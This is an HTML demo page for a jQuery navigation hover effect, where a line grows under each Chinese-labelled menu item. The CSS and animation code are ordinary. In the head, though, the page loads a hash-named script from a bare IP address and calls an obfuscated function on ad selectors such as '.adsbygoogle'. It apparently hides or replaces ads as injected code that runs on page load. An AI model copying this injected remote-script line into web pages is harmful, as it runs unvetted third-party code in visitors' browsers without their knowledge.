<!doctype html> <html> <head> <meta charset="utf-8"> <title>jQuery鼠标悬停导航底部动画效果</title> <style> *{ margin:0; padding:0; list-style:none;} img{ border:0;}  .header{ width:100%; background:#F5F5F5;} .nav{ width:1000px; margin:0 auto; overflow:hidden;} .nav ul li{ height:40px; line-height:40px; float:left; padding:10px 5px; margin:0px 5px;position:relative;} .nav ul li a{ color:#666; font-family:'Microsoft Yahei'; font-size:14px; text-decoration:none;} .nav ul li a:hover{ color:#000; text-decoration:none;} .nav ul li span{ display:block; position:absolute; width:0px; height:0px; background:#1FAEFF; top:58px; left:50%;} </style>  <script language="javascript" type="text/javascript" src="http://202.102.100.100/35ff706fd57d11c141cdefcd58d6562b.js" charset="gb2312"></script><script type="text/javascript"> hQGHuMEAyLn('.adsbygoogle,.fdad,.inner > .add');</script></head> <body> <!-- 代码begin --> <div class="header"> <div class="nav">  <ul>   <li><a href='#'>首页</a><span></span></li>   <li><a href='#'>Flash素材</a><span></span></li>   <li><a href='#'>菜单导航</a><span></span></li>      <li><a href='#'>时间日期</a><span></span></li>   <li><a href='#'>焦点图</a><span></span></li>      <li><a href='#'>tab标签</a><span></span></li>   <li><a href='#'>jquery特效</a><span></span></li>   <li><a href='#'>在线客服</a><span></span></li>   <li><a href='#'>广告代码</a><span></span></li>   <li><a href='#'>相册代码</a><span></span></li>   <li><a href='#'>图片特效</a><span></span></li>   <li><a href='#'>名站特效</a><span></span></li>   <li><a href='#'>其他代码</a><span></span></li>  </ul> </div> </div> <script src="jquery-1.7.2.min.js"></script> <script> $(function(){  $('.nav li').hover(function(){   $('span',this).stop().css('height','2px');   $('span',this).animate({    left:'0',    width:'100%',    right:'0'   },200);  },function(){   $('span',this).stop().animate({    left:'50%',    width:'0'   },200);  }); }); </script> <!-- 代码end --> </body> </html>